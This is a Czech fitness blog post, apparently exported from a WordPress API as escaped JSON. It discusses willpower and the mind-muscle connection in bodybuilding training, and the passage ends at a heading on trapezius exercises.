POTK\u00c1V\u00c1 SE SVALY M\u00e1lokdo toho v\u00ed o pevn\u00e9 v\u016fli tolik co kulturist\u00e9 a z\u00e1stupci dal\u0161\u00edch sout\u011b\u017en\u00edch kategori\u00ed. \u0158ada z&nbsp;nich v\u00e1m potvrd\u00ed, \u017ee fyzick\u00e1 bolest, kterou c\u00edt\u00ed p\u0159i tr\u00e9ninku, je pro n\u011b sv\u00fdm zp\u016fsobem n\u00e1vykov\u00e1, vede k&nbsp;euforii a posiluje motivaci. Ka\u017ed\u00fd m\u00e1 samoz\u0159ejm\u011b sv\u00e9 slab\u00e9 chvilky, p\u0159ekon\u00e1v\u00e1 poku\u0161en\u00ed v\u0161echno vzd\u00e1t a okusit sladk\u00e9 leno\u0161en\u00ed. V&nbsp;takov\u00fdch situac\u00edch je z\u00e1sadn\u00ed m\u00edt p\u0159ed sebou jasn\u00fd c\u00edl a kolem sebe lidi, kte\u0159\u00ed jsou v\u00e1m oporou. Pravdou je, \u017ee \u00fasp\u011b\u0161n\u00fd sportovec se nevymlouv\u00e1, um\u00ed \u010delit stagnaci a zvl\u00e1dne celou \u0159adu p\u0159ek\u00e1\u017eek nejenom p\u0159ekonat, ale tak\u00e9 p\u0159estav\u011bt tak, aby vz\u00e1p\u011bt\u00ed pracovaly pro n\u011bj. Lid\u00e9 \u010dasto zapom\u00ednaj\u00ed na to, \u017ee cesta k&nbsp;\u00fasp\u011bchu je n\u00e1ro\u010dn\u00e1 a trnit\u00e1. Kdyby to bylo v\u0161echno jednoduch\u00e9, nem\u011bli byste kolem sebe tolik lid\u00ed s&nbsp;nadv\u00e1hou. Skv\u011blou formu mus\u00ed \u010dlov\u011bk vykoupit ur\u010ditou ob\u011bt\u00ed. Nebude to zadarmo, ale o to v\u00edc si sv\u00fdch v\u00fdsledk\u016f budete v\u00e1\u017eit. Zcela z\u00e1sadn\u00ed p\u0159itom je nevymlouvat se na genetiku. Ta sice do jist\u00e9 m\u00edry ur\u010duje, jak vypad\u00e1te, \u010di jak m\u016f\u017eete vypadat. Ale nemalou m\u011brou ovlivn\u00ed va\u0161e tr\u00e9ninkov\u00e9 v\u00fdsledky i to, jak m\u00e1te nastavenou hlavu. A jak ji dok\u00e1\u017eete p\u0159i tr\u00e9ninku vyu\u017e\u00edt. S\u00cdLA MYSLI COBY STIMULANT R\u016eSTU SVAL\u016e Jedna z&nbsp;mo\u017enost\u00ed, jak nav\u00fd\u0161it efektivitu tr\u00e9ninku, spo\u010d\u00edv\u00e1 ve vyu\u017eit\u00ed propojen\u00ed mezi svalem a mysl\u00ed. Z&nbsp;technick\u00e9ho hlediska vlastn\u011b nejde o nic jin\u00e9ho, ne\u017e o tzv. neuromuskul\u00e1rn\u00ed inervaci. Dlouhou dobu se na spojen\u00ed sval\u016f a mysli nahl\u00ed\u017eelo jako m\u00fdtus. Dnes u\u017e ale m\u00e1me k&nbsp;dispozici dokonce i v\u00fdsledky klinick\u00fdch studi\u00ed, kter\u00e9 jasn\u011b prokazuj\u00ed nejenom, \u017ee n\u011bco takov\u00e9ho existuje, ale tak\u00e9, \u017ee jde o jev p\u0159\u00ednosn\u00fd. Neurofyziologie zaznamenala v&nbsp;posledn\u00edch letech opravdu velk\u00fd rozmach. Odborn\u00edci se sna\u017e\u00ed st\u00e1le l\u00e9pe a v\u00edce porozum\u011bt tomu, jak lidsk\u00fd mozek funguje a jak\u00e9 jsou jeho vazby na fyzick\u00e9 fungov\u00e1n\u00ed t\u011bla. O svalov\u00e9 kontrakci v\u00edme, \u017ee jde o rozumem pln\u011b kontrolovanou akci. Mozek vy\u0161le sign\u00e1l, aby do\u0161lo ke kontrakci ur\u010dit\u00fdch svalov\u00fdch vl\u00e1ken. P\u0159i\u010dem\u017e s\u00edla kontrakce se d\u00e1 vytr\u00e9novat. U\u017e kulturist\u00e9 zlat\u00e9 \u00e9ry minul\u00e9ho stolet\u00ed moc dob\u0159e v\u011bd\u011bli, jak d\u016fle\u017eit\u00e9 je \u201ec\u00edtit svaly p\u0159i pr\u00e1ci\u201c. Tenkr\u00e1t je\u0161t\u011b stav\u011bli sp\u00ed\u0161e na svoj\u00ed intuici ne\u017e na v\u011bdeck\u00fdch objevech, ale podv\u011bdom\u011b tu\u0161ili, \u017ee mozek je se svaly propojen\u00fd a koncentrace na svalovou pr\u00e1ci m\u016f\u017ee p\u0159\u00edmo ovlivnit v\u00fdkonnost dan\u00e9ho svalu b\u011bhem tr\u00e9ninku. A dobrou zpr\u00e1vou je, \u017ee kvalitn\u00edho propojen\u00ed mezi svalem a mysl\u00ed se d\u00e1 dos\u00e1hnout rychleji, ne\u017e si mysl\u00edte. Existuj\u00ed cviky, kter\u00e9 v\u00e1m toto spojen\u00ed zajist\u00ed sn\u00e1ze, tak\u017ee je dobr\u00e9 za\u010d\u00edt pr\u00e1v\u011b u nich. Nen\u00ed sou\u010dasn\u011b t\u0159eba se ob\u00e1vat, \u017ee p\u016fjde o slo\u017eit\u00e1 cvi\u010den\u00ed z\u00e1visl\u00e1 na modern\u00edch stroj\u00edch. Naopak. Vysta\u010d\u00edte s&nbsp;b\u011b\u017en\u00fdmi cviky, jak\u00e9 zvl\u00e1dnete v&nbsp;pr\u016fm\u011brn\u00e9 posilovn\u011b. A vezmeme to p\u011bkn\u011b od hlavy a\u017e k&nbsp;pat\u011b. P\u0159edstavujeme v\u00e1m cviky, p\u0159i nich\u017e d\u00edky specifick\u00fdm technik\u00e1m kontrakce dos\u00e1hnete kvalitn\u00edho propojen\u00ed mezi svalem a mysl\u00ed. TRAP\u00c9ZY ZDV\u00cdH\u00c1N\u00cd RAMEN<\/p>\n","protected":false},"author":2,"featured_media":717,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-713","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-treninky"],"acf":[],"_links":{"self":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/713","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/comments?post=713"}],"version-history":[{"count":4,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/713\/revisions"}],"predecessor-version":[{"id":722,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/713\/revisions\/722"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media\/717"}],"wp:attachment":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media?parent=713"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/categories?post=713"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/tags?post=713"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}